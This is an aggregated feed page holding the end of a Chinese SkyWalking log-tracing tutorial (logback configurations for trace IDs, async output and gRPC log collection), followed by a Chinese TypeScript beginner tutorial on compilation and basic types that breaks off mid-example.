  • 将日志的输出格式定义中表示traceId%tid修改为%sw_ctx即可

    <?xml version="1.0" encoding="UTF-8"?>
    <configuration>
    
        <!-- 日志输出格式 -->
        <property name="log.pattern"
                  value="%black(%contextName-) %red(%d{yyyy-MM-dd HH:mm:ss}) %green([%thread]) %boldMagenta([%sw_ctx]) %highlight(%-5level) %boldMagenta(%logger{36}) - %gray(%msg%n)"/>
    
        <!-- 控制台输出 -->
        <appender name="console" class="ch.qos.logback.core.ConsoleAppender">
            <encoder class="ch.qos.logback.core.encoder.LayoutWrappingEncoder">
                <layout class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.TraceIdPatternLogbackLayout">
                    <Pattern>${log.pattern}</Pattern>
                </layout>
            </encoder>
        </appender>
    
        <root level="info">
            <appender-ref ref="console"/>
        </root>
    </configuration>
    
  • 重启项目,查看没有请求链路的系统日志

    上下文为空的日志.png

  • 当我们向接口发送请求时

    请求如下

    商品id为2的请求.png

日志如下,由于打印出的上下文日志包含信息量过长,只截取其部分日志。

上下文不为空的日志.png

进入skywalking服务端的页面,我们查看该调用链路,该调用链路同样是商品服务的8011端口服务调用订单服务的8022端口服务,且该调用链的traceId与日志中打印的traceId一致。

上下文不为空的调用链路页面.png

3. 异步日志

skywalking客户端还支持日志的异步打印,就是说业务代码与日志打印采用不同的线程执行,提高接口响应速度。

修改logback.xml日志配置文件

<?xml version="1.0" encoding="UTF-8"?>
<configuration>

    <!-- 日志输出格式 -->
    <property name="log.pattern"
              value="%black(%contextName-) %red(%d{yyyy-MM-dd HH:mm:ss}) %green([%thread]) %boldMagenta([%tid]) %highlight(%-5level) %boldMagenta(%logger{36}) - %gray(%msg%n)"/>

    <!-- 控制台输出 -->
    <appender name="console" class="ch.qos.logback.core.ConsoleAppender">
        <encoder class="ch.qos.logback.core.encoder.LayoutWrappingEncoder">
            <layout class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.TraceIdPatternLogbackLayout">
                <Pattern>${log.pattern}</Pattern>
            </layout>
        </encoder>
    </appender>

    <!-- 异步输出 -->
    <appender name="console-async" class="ch.qos.logback.classic.AsyncAppender">
        <discardingThreshold>0</discardingThreshold>
        <queueSize>1024</queueSize>
        <neverBlock>true</neverBlock>
        <appender-ref ref="console"/>
    </appender>

    <root level="info">
        <appender-ref ref="console-async"/>
    </root>
</configuration>

四、收集链路日志

skywalking客户端通过gRpc将输出的日志发送给skywalking服务端,skywalking服务端根据traceId去分析日志,然后通过skywalking服务端页面可以查看指定调用链路中所有服务所输出的日志。

  • 修改logback.xml日志配置文件,只需要添加GRPCLogClientAppender即可

    <?xml version="1.0" encoding="UTF-8"?>
    <configuration>
    
        <!-- 日志输出格式 -->
        <property name="log.pattern"
                  value="%black(%contextName-) %red(%d{yyyy-MM-dd HH:mm:ss}) %green([%thread]) %boldMagenta([%tid]) %highlight(%-5level) %boldMagenta(%logger{36}) - %gray(%msg%n)"/>
    
        <!-- 控制台输出 -->
        <appender name="console" class="ch.qos.logback.core.ConsoleAppender">
            <encoder class="ch.qos.logback.core.encoder.LayoutWrappingEncoder">
                <layout class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.TraceIdPatternLogbackLayout">
                    <Pattern>${log.pattern}</Pattern>
                </layout>
            </encoder>
        </appender>
        <!-- 异步输出 -->
        <appender name="console-async" class="ch.qos.logback.classic.AsyncAppender">
            <discardingThreshold>0</discardingThreshold>
            <queueSize>1024</queueSize>
            <neverBlock>true</neverBlock>
            <appender-ref ref="console"/>
        </appender>
        <!-- 使用gRpc将日志发送到skywalking服务端 -->
        <appender name="grpc-log" class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.log.GRPCLogClientAppender">
            <encoder class="ch.qos.logback.core.encoder.LayoutWrappingEncoder">
                <layout class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.TraceIdPatternLogbackLayout">
                    <Pattern>${log.pattern}</Pattern>
                </layout>
            </encoder>
        </appender>
    
        <root level="info">
            <appender-ref ref="console-async"/>
            <appender-ref ref="grpc-log"/>
        </root>
    </configuration>
    
  • 重启项目,并向接口发送请求

    商品id为1的请求.png

  • 查看输出的日志

    日志收集-1.png

  • 进入skywalking页面查看

    日志收集-2.png

  • 查看该调用链路上各服务的日志,我们以商品服务的日志为例,在调用链路中电击商品服务,可查看对应的实例详情,再点击相关的日志,即可查看商品服务该实例所产生的日志列表,该列表中每一行即为代码中打印的一行日志,点击可查看该行完整的日志信息。

    日志收集-3.png

参考

1.使用Nginx和Spring Gateway为SkyWalking的增加登录认证功能

blog.csdn.net/penngo/arti…

2.skywalking日志收集-阿里云开发者社区 (aliyun.com)

developer.aliyun.com/article/146…

by 奇了怪ya at January 24, 2025 01:47 AM

juejin frontend

TypeScript 快速上⼿

文章已经收录到 GitHub 个人博客项目,欢迎 Star:

https://github.com/chenyl8848/chenyl8848.github.io

或者访问网站,进行在线浏览:

https://chenyl8848.github.io/

TypeScript 简介

简介

  1. TypeScript 由微软开发,是基于 JavaScript 的⼀个扩展语⾔。
  2. TypeScript 包含了 JavaScript 的所有内容,即: TypeScript 是 JavaScript 的超集。
  3. TypeScript 增加了:静态类型检查、接⼝、 泛型等很多现代开发特性,更适合⼤型项⽬的开发。
  4. TypeScript 需要编译为 JavaScript ,然后交给浏览器或其他 JavaScript 运⾏环境执⾏。

关注微信公众号:【Java 陈序员】,获取开源项目分享、AI 副业分享、超 200 本经典计算机电子书籍等。

为何需要 TypeScript

  • 今⾮昔⽐的 JavaScript

JavaScript 当年诞⽣时的定位是浏览器脚本语⾔,⽤于在⽹⻚中嵌⼊简单的逻辑,且代码量很少。

随着时间的推移,JavaScript 变得越来越流⾏,如今的 JavaScript 已经可以全栈编程了。

现如今的 JavaScript 应⽤场景⽐当年丰富的多,代码量也⽐当年⼤很多,随便⼀个 JavaScript 项⽬的代码量,可以轻松的达到⼏万⾏,甚⾄⼗⼏万⾏!

然⽽ JavaScript 当年“出⽣简陋”,没考虑到如今的应⽤场景和代码量,逐渐就出现了很多困扰。

  • JavaScript 中的困扰
  1. 不清楚的数据类型
let welcome = 'hello'

// 此行报错:Uncaught TypeError: welocom is not a function
welcome()
  1. 有漏洞的逻辑
const str = Date.now() % 2 ? '奇数' : '偶数'

if (str !== '奇数') {
    alert('hello')
} else if (str === '偶数') {
    // 永远不执行
    alert('world')
}
  1. 访问不存在的属性
const obj = { width: 10, height: 15 }
const area = obj.width * obj.heigth
  1. 低级的拼写错误
const msg = 'hello world'
msg.toUperCase()
  • 静态类型检查

在代码运⾏前进⾏检查,发现代码的错误或不合理之处,减⼩运⾏时出现异常的⼏率,此种检查叫静态类型检查,TypeScript 的核⼼就是静态类型检查,简⾔之就是把运⾏时的错误前置

同样的功能,TypeScript 的代码量要⼤于 JavaScript,但由于 TypeScript 的代码结构更加清晰,在后期代码的维护中 TypeScript 却胜于 JavaScript.

编译 TypeScript

浏览器不能直接运⾏ TypeScript 代码,需要编译为 JavaScript 再交由浏览器解析器执⾏

  • 命令⾏编译

要把 .ts ⽂件编译为 .js ⽂件,需要配置 TypeScript 的编译环境,步骤如下:

  1. 第⼀步:创建⼀个 demo.ts ⽂件,例如:
const person = {
 name:'李四',
 age:18
}
console.log(`我叫${person.name},我今年${person.age}岁了`)
  1. 第⼆步:全局安装 TypeScript
npm i typescript -g
  1. 三步:使⽤命令编译 .ts ⽂件
tsc demo.ts
  • ⾃动化编译
  1. 第⼀步:创建 TypeScript 编译控制⽂件
tsc --init

⼯程中会⽣成⼀个 tsconfig.json 配置⽂件,其中包含着很多编译时的配置。

{
  "compilerOptions": {
    /* Visit https://aka.ms/tsconfig to read more about this file */

    /* Projects */
    // "incremental": true,                              /* Save .tsbuildinfo files to allow for incremental compilation of projects. */
    // "composite": true,                                /* Enable constraints that allow a TypeScript project to be used with project references. */
    // "tsBuildInfoFile": "./.tsbuildinfo",              /* Specify the path to .tsbuildinfo incremental compilation file. */
    // "disableSourceOfProjectReferenceRedirect": true,  /* Disable preferring source files instead of declaration files when referencing composite projects. */
    // "disableSolutionSearching": true,                 /* Opt a project out of multi-project reference checking when editing. */
    // "disableReferencedProjectLoad": true,             /* Reduce the number of projects loaded automatically by TypeScript. */

    /* Language and Environment */
    "target": "es2016",                                  /* Set the JavaScript language version for emitted JavaScript and include compatible library declarations. */
    // "lib": [],                                        /* Specify a set of bundled library declaration files that describe the target runtime environment. */
    // "jsx": "preserve",                                /* Specify what JSX code is generated. */
    // "experimentalDecorators": true,                   /* Enable experimental support for legacy experimental decorators. */
    // "emitDecoratorMetadata": true,                    /* Emit design-type metadata for decorated declarations in source files. */
    // "jsxFactory": "",                                 /* Specify the JSX factory function used when targeting React JSX emit, e.g. 'React.createElement' or 'h'. */
    // "jsxFragmentFactory": "",                         /* Specify the JSX Fragment reference used for fragments when targeting React JSX emit e.g. 'React.Fragment' or 'Fragment'. */
    // "jsxImportSource": "",                            /* Specify module specifier used to import the JSX factory functions when using 'jsx: react-jsx*'. */
    // "reactNamespace": "",                             /* Specify the object invoked for 'createElement'. This only applies when targeting 'react' JSX emit. */
    // "noLib": true,                                    /* Disable including any library files, including the default lib.d.ts. */
    // "useDefineForClassFields": true,                  /* Emit ECMAScript-standard-compliant class fields. */
    // "moduleDetection": "auto",                        /* Control what method is used to detect module-format JS files. */

    /* Modules */
    "module": "commonjs",                                /* Specify what module code is generated. */
    // "rootDir": "./",                                  /* Specify the root folder within your source files. */
    // "moduleResolution": "node10",                     /* Specify how TypeScript looks up a file from a given module specifier. */
    // "baseUrl": "./",                                  /* Specify the base directory to resolve non-relative module names. */
    // "paths": {},                                      /* Specify a set of entries that re-map imports to additional lookup locations. */
    // "rootDirs": [],                                   /* Allow multiple folders to be treated as one when resolving modules. */
    // "typeRoots": [],                                  /* Specify multiple folders that act like './node_modules/@types'. */
    // "types": [],                                      /* Specify type package names to be included without being referenced in a source file. */
    // "allowUmdGlobalAccess": true,                     /* Allow accessing UMD globals from modules. */
    // "moduleSuffixes": [],                             /* List of file name suffixes to search when resolving a module. */
    // "allowImportingTsExtensions": true,               /* Allow imports to include TypeScript file extensions. Requires '--moduleResolution bundler' and either '--noEmit' or '--emitDeclarationOnly' to be set. */
    // "rewriteRelativeImportExtensions": true,          /* Rewrite '.ts', '.tsx', '.mts', and '.cts' file extensions in relative import paths to their JavaScript equivalent in output files. */
    // "resolvePackageJsonExports": true,                /* Use the package.json 'exports' field when resolving package imports. */
    // "resolvePackageJsonImports": true,                /* Use the package.json 'imports' field when resolving imports. */
    // "customConditions": [],                           /* Conditions to set in addition to the resolver-specific defaults when resolving imports. */
    // "noUncheckedSideEffectImports": true,             /* Check side effect imports. */
    // "resolveJsonModule": true,                        /* Enable importing .json files. */
    // "allowArbitraryExtensions": true,                 /* Enable importing files with any extension, provided a declaration file is present. */
    // "noResolve": true,                                /* Disallow 'import's, 'require's or '<reference>'s from expanding the number of files TypeScript should add to a project. */

    /* JavaScript Support */
    // "allowJs": true,                                  /* Allow JavaScript files to be a part of your program. Use the 'checkJS' option to get errors from these files. */
    // "checkJs": true,                                  /* Enable error reporting in type-checked JavaScript files. */
    // "maxNodeModuleJsDepth": 1,                        /* Specify the maximum folder depth used for checking JavaScript files from 'node_modules'. Only applicable with 'allowJs'. */

    /* Emit */
    // "declaration": true,                              /* Generate .d.ts files from TypeScript and JavaScript files in your project. */
    // "declarationMap": true,                           /* Create sourcemaps for d.ts files. */
    // "emitDeclarationOnly": true,                      /* Only output d.ts files and not JavaScript files. */
    // "sourceMap": true,                                /* Create source map files for emitted JavaScript files. */
    // "inlineSourceMap": true,                          /* Include sourcemap files inside the emitted JavaScript. */
    // "noEmit": true,                                   /* Disable emitting files from a compilation. */
    // "outFile": "./",                                  /* Specify a file that bundles all outputs into one JavaScript file. If 'declaration' is true, also designates a file that bundles all .d.ts output. */
    // "outDir": "./",                                   /* Specify an output folder for all emitted files. */
    // "removeComments": true,                           /* Disable emitting comments. */
    // "importHelpers": true,                            /* Allow importing helper functions from tslib once per project, instead of including them per-file. */
    // "downlevelIteration": true,                       /* Emit more compliant, but verbose and less performant JavaScript for iteration. */
    // "sourceRoot": "",                                 /* Specify the root path for debuggers to find the reference source code. */
    // "mapRoot": "",                                    /* Specify the location where debugger should locate map files instead of generated locations. */
    // "inlineSources": true,                            /* Include source code in the sourcemaps inside the emitted JavaScript. */
    // "emitBOM": true,                                  /* Emit a UTF-8 Byte Order Mark (BOM) in the beginning of output files. */
    // "newLine": "crlf",                                /* Set the newline character for emitting files. */
    // "stripInternal": true,                            /* Disable emitting declarations that have '@internal' in their JSDoc comments. */
    // "noEmitHelpers": true,                            /* Disable generating custom helper functions like '__extends' in compiled output. */
    // "noEmitOnError": true,                            /* Disable emitting files if any type checking errors are reported. */
    // "preserveConstEnums": true,                       /* Disable erasing 'const enum' declarations in generated code. */
    // "declarationDir": "./",                           /* Specify the output directory for generated declaration files. */

    /* Interop Constraints */
    // "isolatedModules": true,                          /* Ensure that each file can be safely transpiled without relying on other imports. */
    // "verbatimModuleSyntax": true,                     /* Do not transform or elide any imports or exports not marked as type-only, ensuring they are written in the output file's format based on the 'module' setting. */
    // "isolatedDeclarations": true,                     /* Require sufficient annotation on exports so other tools can trivially generate declaration files. */
    // "allowSyntheticDefaultImports": true,             /* Allow 'import x from y' when a module doesn't have a default export. */
    "esModuleInterop": true,                             /* Emit additional JavaScript to ease support for importing CommonJS modules. This enables 'allowSyntheticDefaultImports' for type compatibility. */
    // "preserveSymlinks": true,                         /* Disable resolving symlinks to their realpath. This correlates to the same flag in node. */
    "forceConsistentCasingInFileNames": true,            /* Ensure that casing is correct in imports. */

    /* Type Checking */
    "strict": true,                                      /* Enable all strict type-checking options. */
    // "noImplicitAny": true,                            /* Enable error reporting for expressions and declarations with an implied 'any' type. */
    // "strictNullChecks": true,                         /* When type checking, take into account 'null' and 'undefined'. */
    // "strictFunctionTypes": true,                      /* When assigning functions, check to ensure parameters and the return values are subtype-compatible. */
    // "strictBindCallApply": true,                      /* Check that the arguments for 'bind', 'call', and 'apply' methods match the original function. */
    // "strictPropertyInitialization": true,             /* Check for class properties that are declared but not set in the constructor. */
    // "strictBuiltinIteratorReturn": true,              /* Built-in iterators are instantiated with a 'TReturn' type of 'undefined' instead of 'any'. */
    // "noImplicitThis": true,                           /* Enable error reporting when 'this' is given the type 'any'. */
    // "useUnknownInCatchVariables": true,               /* Default catch clause variables as 'unknown' instead of 'any'. */
    // "alwaysStrict": true,                             /* Ensure 'use strict' is always emitted. */
    // "noUnusedLocals": true,                           /* Enable error reporting when local variables aren't read. */
    // "noUnusedParameters": true,                       /* Raise an error when a function parameter isn't read. */
    // "exactOptionalPropertyTypes": true,               /* Interpret optional property types as written, rather than adding 'undefined'. */
    // "noImplicitReturns": true,                        /* Enable error reporting for codepaths that do not explicitly return in a function. */
    // "noFallthroughCasesInSwitch": true,               /* Enable error reporting for fallthrough cases in switch statements. */
    // "noUncheckedIndexedAccess": true,                 /* Add 'undefined' to a type when accessed using an index. */
    // "noImplicitOverride": true,                       /* Ensure overriding members in derived classes are marked with an override modifier. */
    // "noPropertyAccessFromIndexSignature": true,       /* Enforces using indexed accessors for keys declared using an indexed type. */
    // "allowUnusedLabels": true,                        /* Disable error reporting for unused labels. */
    // "allowUnreachableCode": true,                     /* Disable error reporting for unreachable code. */

    /* Completeness */
    // "skipDefaultLibCheck": true,                      /* Skip type checking .d.ts files that are included with TypeScript. */
    "skipLibCheck": true                                 /* Skip type checking all .d.ts files. */
  }
}

观察发现,默认编译的 JavaScript 版本是 ES7, 可以⼿动调整为其他版本。

  1. 第⼆步:监视⽬录中的 .ts ⽂件变化
tsc --watch 或 tsc -w
  1. 第三步:⼩优化,当编译出错时不⽣成 .js ⽂件
tsc --noEmitOnError --watch

备注:当然也可以修改 tsconfig.json 中的 noEmitOnError 配置。

TypeScript 类型

类型声明

使用 : 来对变量参数形参,进行类型声明:

/** 变量 */
// 声明变量 a 只能存储字符串
let a: string

// 声明变量 b 只能存储数字
let b: number

// 声明变量 c 只能存储布尔值
let c: boolean

a = 'hello'
// 警告:不能将类型 “number” 分配给类型 “string”
a = 100

b = 666
// 警告:不能将类型 “string” 分配给类型 “number”
b = 'hello'

c = true
// 警告:不能将类型 “number” 分配给类型 “boolean”
c = 666

/** 函数 */
function demo(x: number, y: number): number {
    return x + y
}

demo(100, 200)
//警告:类型 “string” 的参数不能赋给类型 “number” 的参数
demo(100, '200')
// 警告:应有 2 个参数,但获得 3 个
demo(100, 200, 300)
// 警告:应有 2 个参数,但获得 1 个
demo(100) 

: 后也可以写字面量类型,不过实际开发中用的不多。

// a 的值只能为字符串 “你好”
let a: '你好'

// b的值只能为数字100
let b: 100

a = '你好'
// 警告:不能将类型 “"欢迎"” 分配给类型 “"你好"”
a = '欢迎'

b = 100
// 警告:不能将类型 “200” 分配给类型 “100”
b = 200

类型推断

TS 会根据代码,进⾏类型推导,例如下⾯代码中的变量 d, 只能存储数字。

//TypeScript 会推断出变量 d 的类型是数字
let d = 100

d = 200

// 警告:不能将类型 “string” 分配给类型 “number”
d = 'hello'

但要注意,类型推断不是万能的,⾯对复杂类型时推断容易出问题,所以尽量还是明确的编写类型声明

类型总览

  • JavaScript 中的数据类型
1. string
2. number
3. boolean
4. null
5. undefined
6. bigint
7. symbol
8. object

备注:其中 object 包含: Array 、 Function 、 Date 、 Error 等......

  • TypeScript 中的数据类型
1. 上述所有 JavaScript 类型
2. 六个新类型:
    1. any
    2. unknown
    3. never
    4. void
    5. tuple
    6. enum
3. 两个⽤于⾃定义类型的⽅式:
    1. type
    2. interface

注意点

在 JavaScript 中的这些内置构造函数:Number、String、Boolean, ⽤于创建对应的包装对象,在⽇常开发时很少使⽤。

在 TypeScript 中也是同理,所以在 TypeScript 中进⾏类型声明时,通常都是⽤⼩写的 number、string、boolean.

例如下⾯代码:

let str1: string
str1 = 'hello'
// 报错
str1 = new String('hello')

let str2: String
str2 = 'hello'
str2 = new String('hello')

// string
console.log(typeof str1)
// object
console.log(typeof str2)

原始类型 VS 包装对象

  • 原始类型:如 number、string、boolean, 在 JavaScript 中是简单数据类型,它们在内存中占⽤空间少,处理速度快。
  • 包装对象:如 Number 对象、 String 对象、 Boolean 对象,是复杂类型,在内存中占⽤更多空间,在⽇常开发时很少由开发⼈员⾃⼰创建包装对象。

⾃动装箱

JavaScript 在必要时会⾃动将原始类型包装成对象,以便调⽤⽅法或访问属性。

let str = 'hello'

// 当要获取字符串 str 的长度 length 时,JavaScript 引擎做了如下工作:
let size = (function () {
    // 1、自动装箱:创建一个临时的 String 对象包装原始字符串
    let tempStringObj = new String(str)
    // 2、访问 String 对象的 length 属性
    let lengthValue = tempStringObj.length
    //3、销毁临时对象,返回长度值 JavaScript 引擎自动销毁,开发者无感知
    return lengthValue
})()

// 5
console.log(size)

常用类型与语法

any

any 的含义是:任意类型,⼀旦将变量类型限制为 any, 那就意味着放弃了对该变量的类型检查。

// 显式的 any: 明确的表示 a 的类型是 any
let a: any
a = 100
a = 'hello'
a = true

// 隐式的 any:没有明确的表示 b 的类型是 any,但 TS 主动推断出来 b 是 any
let b
b = 100
b = 'hello'
b = false

注意点:any 类型的变量,可以赋值给任意类型的变量

// 注意:any 类型的变量,可以赋值给任意类型的变量
let c: any
c = 9

let d: string
// 无异常
d = c

unknown

unknown 的含义是:未知类型,适⽤于起初不确定数据的具体类型,要后期才能确定

  1. unknown 可以理解为⼀个类型安全的 any.
// 设置 a 的类型为 unknown
let a: unknown
// 以下赋值均符合规范
a = 100
a = 'hello'
a = false

// 设置 b 的类型为 string
let b: string
// 警告:不能将类型 “unknown” 分配给类型 “string”
b = a
  1. unknown 会强制开发者在使⽤之前进⾏类型检查,从⽽提供更强的类型安全性。
// 设置 a 的类型为 unknown
let a: unknown

a = 'hello'

// 设置 b 的类型为 string
let b: string


// 方式一:类型判断
if (typeof a === 'string') {
    b = a
    console.log(b)
}

// 方式二:加断言
b = a as string

// 方式三:加断言
b = <string>a
  1. 读取 any 类型数据的任何属性都不会报错,⽽ unknown 正好与之相反。
let str1: string
str1 = 'hello'
// 无警告
str1.toLocaleUpperCase()

let str2: any
str2 = 'hello'
// 无警告
str2.toLocaleUpperCase()

let str3: unknown
str3 = 'hello'
// 警告:“str3” 的类型为“未知”
str3.toLocaleUpperCase()
// 使⽤断⾔强制指定 str3 的类型为 string —— 无警告
(str3 as string).toLocaleUpperCase()

never

never 的含义是:任何值都不是,即不能有值。例如 undefined、null、 ''、 0 都不⾏!

  1. ⼏乎不⽤ never 去直接限制变量,因为没有意义,例如:
// 指定 a 的类型为 never, 那就意味着 a 以后不能存任何的数据了
let a: never

// 以下对 a 的所有赋值都会有警告 
a = 100
a = 'hello'
a = false
a = null
  1. never ⼀般是 TypeScript 主动推断出来的,例如:
// 指定 a 的类型为 string
let a: string
// 给 a 设置⼀个值 
a = 'hello'

if (typeof a === 'string') {
    console.log(a.toUpperCase())
} else {
    //  TypeScript 会推断出此处的 a 是 never,因为没有任何⼀个值符合此处的逻辑
    console.log(a)
}
  1. never 也可⽤于限制函数的返回值
// 限制 throwError 函数不需要有任何返回值,任何值都不⾏,像 undeifned、null 都不⾏
function throwError(message: string): never {
    throw Error(`程序异常退出【${message}】`)
}

void

void 的含义是空,即:函数不返回任何值,调⽤者也不应依赖其返回值进⾏任何操作

  1. void 通常⽤于函数返回值声明
function logMessage(message: string): void {
    console.log(message)
}

logMessage('hello world')

注意:编码者没有编写 return 指定函数返回值,所以 logMessage 函数是没有显式返回值的,但会有⼀个隐式返回值 —— undefined, 虽然函数返回类型为 void, 但也是可以接受 undefined 的。

简单记:undefined 是 void 可以接受的⼀种“空”

  1. 以下写法均符合规范
// ⽆警告
function logMessage(msg: string): void {
    console.log(msg)
}

// ⽆警告
function logMessage(msg: string): void {
    console.log(msg)
    return;
}

// ⽆警告
function logMessage(msg: string): void {
    console.log(msg)
    return undefined
}
  1. 那限制函数返回值时,是不是 undefined 和 void 就没区别呢?

有区别,因为还有这句话:返回值类型为 void 的函数,调⽤者不应依赖其返回值进⾏任何操作

对⽐下⾯两段代码:

function logMessage(msg: string): void {
    console.log(msg)
}

let result = logMessage('hello')

// 此⾏报错:⽆法测试 "void" 类型的表达式的真实性
if (result) {
    console.log('logMessage 有返回值')
}
function logMessage(msg: string): undefined {
    console.log(msg)
}

let result = logMessage('hello')

// 无警告
if (result) {
    console.log('logMessage 有返回值')
}

理解 void 与 undefined:

  • void 是⼀个⼴泛的概念,⽤来表达“空”,⽽ undefined 则是这种“空”的具体实现。
  • 因此可以说 undefined 是 void 能接受的⼀种“空”的状态。
  • 也可以理解为:void 包含 undefined ,但 void 所表达的语义超越了 undefined, void 是⼀种意图上的约定,⽽不仅仅是特定值的限制。

总结: 如果⼀个函数返回类型为 void ,那么:

  1. 从语法上讲:函数是可以返回 undefined 的,⾄于显式返回,还是隐式返回,这⽆所谓!
  2. 从语义上讲:函数调⽤者不应关⼼函数返回的值,也不应依赖返回值进⾏任何操作! 即使我们知道它返回了 undefined.

object

关于 object 与 Object, 直接说结论:实际开发中⽤的相对较少,因为范围太⼤了

object(⼩写)

object (⼩写)的含义是:所有⾮原始类型,可存储:对象、函数、数组等,由于限制的范围⽐较宽泛,在实际开发中使⽤的相对较少

// a 的值可以是任何【⾮原始类型】,包括:对象、函数、数组等
let a: object 

// 以下代码,是将【⾮原始类型】赋给 a, 所以均符合要求
a = {}
a = { name: '张三' }
a = [1, 3, 5, 7, 9]
a = function () { } 
a = new String('123')
class Person { }
a = new Person()

// 以下代码,是将【原始类型】赋给 a,有警告 
// 警告:不能将类型 “number” 分配给类型 “object”
a = 1 

// 警告:不能将类型 “boolean” 分配给类型 “object”
a = true 

// 警告:不能将类型 “string” 分配给类型 “object” 
a = '你好' 

// 警告:不能将类型 “null” 分配给类型 “object”
a = null 

// 警告:不能将类型 “undefined” 分配给类型 “object”
a = undefined 

Object(⼤写)

  1. 官⽅描述:所有可以调⽤ Object ⽅法的类型。
  2. 简单记忆:除了 undefined 和 null 的任何值。
  3. 由于限制的范围实在太⼤了,所以实际开发中使⽤频率极低
// b 的值必须是 Object 的实例对象(除去 undefined 和 null 的任何值)
let b: Object

// 以下代码,均⽆警告,因为给 b 赋的值,都是 Object 的实例对象 
b = {}
b = { name: '张三' }
b = [1, 3, 5, 7, 9]
b = function () { }
b = new String('123')
class Person { } b = new Person()
// 1 不是 Object 的实例对象,但其包装对象是 Object 的实例 
b = 1
// true 不是 Object 的实例对象,但其包装对象是 Object 的实例 
b = true
// “你好” 不是 Object的实例对象,但其包装对象是 Object 的实例
b = '你好'

// 以下代码均有警告 
// 警告:不能将类型 “null” 分配给类型 “Object”
b = null
// 警告:不能将类型 “undefined” 分配给类型 “Object”
b = undefined 

声明对象类型

  1. 实际开发中,限制⼀般对象,通常使⽤以下形式:
// 限制 person1 对象必须有 name 属性,age 为可选属性
let person1: { name: string, age?: number }

// 含义同上,也能⽤分号做分隔
let person2: { name: string; age?: number }

// 含义同上,也能⽤换行做分隔
let person3: {
    name: string
    age?: number
}

// 如下赋值均可
person1 = { name: '张三', age: 18 }
person2 = { name: '李四' }
person3 = { name: '王五' }

// 如下赋值不合法 因为 person3 的类型限制中,没有对 gender 属性的说明
person3 = { name: '赵六', age: 20, gender: '男' }
  1. 索引签名:允许定义对象可以具有任意数量的属性,这些属性的键和类型是可变的,常⽤于描述类型不确定的属性(具有动态属性的对象)。
let person: {
    name: string
    age?: number
    // 索引签名,完全可以不⽤ key 这个单词,换成其他的也可以 
    [key: string]: any
}

// 赋值合法
person = { name: '赵六', age: 20, gender: '男' }

声明函数类型

let sum: (x: number, y: number) => number

sum = function (a: number, b: number): number {
    return a + b
}

备注

  • TypeScript 中的 => 在函数类型声明时表示函数类型,描述其参数类型和返回类型。
  • JavaScript 中的 => 是⼀种定义函数的语法,是具体的函数实现。
  • 函数类型声明还可以使⽤:接⼝、⾃定义类型等⽅式,下⽂中会详细讲解。

声明数组类型

let arr1: string[]
let arr2: Array<string>

arr1 = ['a', 'b', 'c']
arr2 = ['1', '2', '3']

备注:上述代码中的 Array<string> 属于泛型,下⽂会详细讲解。

tuple

元组 (Tuple) 是⼀种特殊的数组类型,可以存储固定数量的元素,并且每个元素的类型是已知的且可以不同。

元组⽤于精确描述⼀组值的类型,? 表示可选元素。

// 第⼀个元素必须是 string 类型,第⼆个元素必须是 number 类型
let arr1: [string, number]

// 第⼀个元素必须是 number 类型,第⼆个元素是可选的,如果存在,必须是 boolean 类型
let arr2: [number, boolean?]

// 第⼀个元素必须是 number 类型,后⾯的元素可以是任意数量的 string 类型
let arr3: [number, ...string[]]

// 赋值合法
arr1 = ['hello', 123]
arr2 = [123, false]
arr2 = [123]
arr3 = [123, 'hello', 'world']
arr3 = [123, 'hello']
arr3 = [123]

// 赋值不合法,arr1 声明时是两个元素,赋值的是三个
arr1 = ['a', 1, 2]

enum

枚举( enum )可以定义⼀组命名常量,它能增强代码的可读性,也让代码更好维护。

如下代码的功能是:根据调⽤ walk 时传⼊的不同参数,执⾏不同的逻辑,存在的问题是调⽤ walk 时传参时没有任何提示,编码者很容易写错字符串内容;并且⽤于判断逻辑的 up、 down、 left、 right 是连续且相关的⼀组值,那此时就特别适合使⽤枚举( enum )。

function walk(str: string) {
    if (str === 'up') {
        console.log("向【上】⾛");
    } else if (str === 'down') {
        console.log("向【下】⾛");
    } else if (str === 'left') {
        console.log("向【左】⾛");
    } else if (str === 'right') {
        console.log("向【右】⾛");
    } else {
        console.log("未知⽅向");
    }
}

walk('up')
walk('down')
walk('left')
walk('right')
  1. 数字枚举

数字枚举⼀种最常⻅的枚举类型,其成员的值会⾃动递增,且数字枚举还具备反向映射的特点,在下⾯代码的打印中,不难发现:可以通过值来获取对应的枚举成员名称。

enum Direction {
    Up,
    Down,
    Left,
    Right
}

/**{
    "0": "Up",
    "1": "Down",
    "2": "Left",
    "3": "Right",
    "Up": 0,
    "Down": 1,
    "Left": 2,
    "Right": 3
} */
console.log(Direction)

// 反向映射
// 2
console.log(Direction.Left)
// Left
console.log(Direction[2])

// 警告 枚举中的属性是只读的
Direction.Down = '2'

也可以指定枚举成员的初始值,其后的成员值会⾃动递增。

enum Direction {
    Up = 6,
    Down,
    Left,
    Right
}

// 输出: 6
console.log(Direction.Up)
// 输出: 7
console.log(Direction.Down)

使⽤数字枚举完成刚才 walk 函数中的逻辑,此时我们发现:代码更加直观易读,⽽且类 型安全,同时也更易于维护。

enum Direction {
    Up,
    Down,
    Left,
    Right
}

function walk(n: Direction) {
    if (n === Direction.Up) {
        console.log("向【上】⾛");
    } else if (n === Direction.Down) {
        console.log("向【下】⾛");
    } else if (n === Direction.Left) {
        console.log("向【左】⾛");
    } else if (n === Direction.Right) {
        console.log("向【右】⾛");
    } else {
        console.log("未知⽅向");
    }
}

walk(Direction.Up)
walk(Direction.Down)
  1. 字符串枚举

枚举成员的值是字符串。

enum Direction {
    Up = "up",
    Down = "down",
    Left = "left",
    Right = "right"
}

let dir: Direction = Direction.Up

// up
console.log(dir)
  1. 常量枚举

官⽅描述:常量枚举是⼀种特殊枚举类型,它使⽤ const 关键字定义,在编译时会被内联,避免⽣成⼀些额外的代码。

何为编译时内联?所谓“内联”其实就是 TypeScript 在编译时,会将枚举成员引⽤替换为它们的实际值,⽽不是⽣成额外的枚举对象。这可以减少⽣成的 JavaScript 代码量,并提⾼运⾏时性能。

使⽤普通枚举的 TypeScript 代码如下:

enum Direction {
    Up,
    Down,
    Left,
    Right
}
let x = Direction.Up;

编译后⽣成的 JavaScript 代码量较⼤:

"use strict";
var Direction;
(function (Direction) {
    Direction[Direction["Up"] = 0] = "Up";
    Direction[Direction["Down"] = 1] = "Down";
    Direction[Direction["Left"] = 2] = "Left";
